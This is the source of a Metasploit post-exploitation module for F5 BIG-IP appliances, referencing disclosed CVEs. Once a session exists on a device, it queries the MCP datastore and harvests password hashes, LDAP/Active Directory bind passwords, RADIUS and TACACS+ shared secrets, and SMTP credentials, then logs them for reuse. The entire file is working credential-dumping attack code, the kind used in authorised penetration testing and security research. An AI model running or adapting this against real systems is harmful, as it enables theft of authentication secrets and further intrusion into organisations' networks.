Path: blob/master/modules/post/linux/gather/f5_loot_mcp.rb
28611 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::System8include Msf::Post::Linux::F5Mcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'F5 Big-IP Gather Information from MCP Datastore',15'Description' => %q{16This module gathers various interesting pieces of data from F5's17"mcp" datastore, which is accessed via /var/run/mcp using a18proprietary protocol.1920Adapted from: https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-getloot.rb21},22'License' => MSF_LICENSE,23'Author' => ['Ron Bowes'],24'Platform' => ['linux', 'unix'],25'SessionTypes' => ['shell', 'meterpreter'],26'References' => [27['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC28['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],29['URL', 'https://support.f5.com/csp/article/K97843387'],30['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING],31],32'DisclosureDate' => '2022-11-16',33'Notes' => {34'Stability' => [CRASH_SAFE],35'Reliability' => [],36'SideEffects' => []37}38)39)4041register_options(42[43OptBool.new('GATHER_HASHES', [true, 'Gather password hashes from MCP', true]),44OptBool.new('GATHER_SERVICE_PASSWORDS', [true, 'Gather upstream passwords (ie, LDAP, AD, RADIUS, etc) from MCP', true]),45OptBool.new('GATHER_DB_VARIABLES', [true, 'Gather database variables (warning: slow)', false]),46]47)48end4950def gather_hashes51print_status('Gathering users and password hashes from MCP')52users = mcp_simple_query('userdb_entry')5354unless users55print_error('Failed to query users')56return57end5859users.each do |u|60print_good("#{u['userdb_entry_name']}:#{u['userdb_entry_passwd']}")6162create_credential(63jtr_format: Metasploit::Framework::Hashes.identify_hash(u['userdb_entry_passwd']),64origin_type: :session,65post_reference_name: refname,66private_type: :nonreplayable_hash,67private_data: u['userdb_entry_passwd'],68session_id: session_db_id,69username: u['userdb_entry_name'],70workspace_id: myworkspace_id71)72end73end7475def gather_upstream_passwords76print_status('Gathering upstream passwords from MCP')7778vprint_status('Trying to fetch LDAP / Active Directory configuration')79ldap_config = mcp_simple_query('auth_ldap_config') || []80ldap_config.select! { |config| config['auth_ldap_config_bind_pw'] }81if ldap_config.empty?82print_status('No LDAP / Active Directory password found')83else84ldap_config.each do |config|85config['auth_ldap_config_servers'].each do |server|86report_cred(87username: config['auth_ldap_config_bind_dn'],88password: config['auth_ldap_config_bind_pw'],89host: server,90port: config['auth_ldap_config_port'],91service_name: (config['auth_ldap_config_ssl'] == 1 ? 'ldaps' : 'ldap')92)93end94end95end9697vprint_status('Trying to fetch Radius configuration')98radius_config = mcp_simple_query('radius_server') || []99radius_config.select! { |config| config['radius_server_secret'] }100if radius_config.empty?101print_status('No Radius password found')102else103radius_config.each do |config|104report_cred(105password: config['radius_server_secret'],106host: config['radius_server_server'],107port: config['radius_server_port'],108service_name: 'radius'109)110end111end112113vprint_status('Trying to fetch TACACS+ configuration')114tacacs_config = mcp_simple_query('auth_tacacs_config') || []115tacacs_config.select! { |config| config['auth_tacacs_config_secret'] }116if tacacs_config.empty?117print_status('No TACACS+ password found')118else119tacacs_config.each do |config|120config['auth_tacacs_config_servers'].each do |server|121report_cred(122password: config['auth_tacacs_config_secret'],123host: server,124port: 49,125service_name: 'tacacs+'126)127end128end129end130131vprint_status('Trying to fetch SMTP configuration')132smtp_config = mcp_simple_query('smtp_config') || []133smtp_config.select! { |config| config['smtp_config_username'] }134if smtp_config.empty?135print_status('No SMTP password found')136else137smtp_config.each do |config|138report_cred(139username: config['smtp_config_username'],140password: config['smtp_config_password'],141host: config['smtp_config_smtp_server_address'],142port: config['smtp_config_smtp_server_port'],143service_name: 'smtp'144)145end146end147end148149def gather_db_variables150print_status('Fetching db variables from MCP (this takes a bit)...')151vars = mcp_simple_query('db_variable')152153unless vars154print_error('Failed to query db variables')155return156end157158vars.each do |v|159print_good "#{v['db_variable_name']} => #{v['db_variable_value']}"160end161end162163def resolve_host(hostname)164ip = nil165if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_NET_RESOLVE_HOST)166result = session.net.resolve.resolve_host(hostname)167ip = result[:ip] if result168else169result = cmd_exec("dig +short '#{hostname}'")170ip = result.strip unless result.blank?171end172173vprint_warning("Failed to resolve hostname: #{hostname}") unless ip174175ip176rescue Rex::Post::Meterpreter::RequestError => e177elog("Failed to resolve hostname: #{hostname.inspect}", error: e)178end179180def report_cred(opts)181netloc = "#{opts[:host]}:#{opts[:port]}"182print_good("#{netloc.ljust(21)} - #{opts[:service_name]}: '#{opts[:username]}:#{opts[:password]}'")183184if opts[:host] && !Rex::Socket.is_ip_addr?(opts[:host])185opts[:host] = resolve_host(opts[:host])186end187188service_data = {189address: opts[:host],190port: opts[:port],191service_name: opts[:service_name],192protocol: opts.fetch(:protocol, 'tcp'),193workspace_id: myworkspace_id194}195196credential_data = {197post_reference_name: refname,198session_id: session_db_id,199origin_type: :session,200private_data: opts[:password],201private_type: :password,202username: opts[:username]203}.merge(service_data)204205login_data = {206core: create_credential(credential_data),207status: Metasploit::Model::Login::Status::UNTRIED208}.merge(service_data)209210create_credential_login(login_data)211end212213def run214gather_hashes if datastore['GATHER_HASHES']215gather_upstream_passwords if datastore['GATHER_SERVICE_PASSWORDS']216gather_db_variables if datastore['GATHER_DB_VARIABLES']217end218end219220221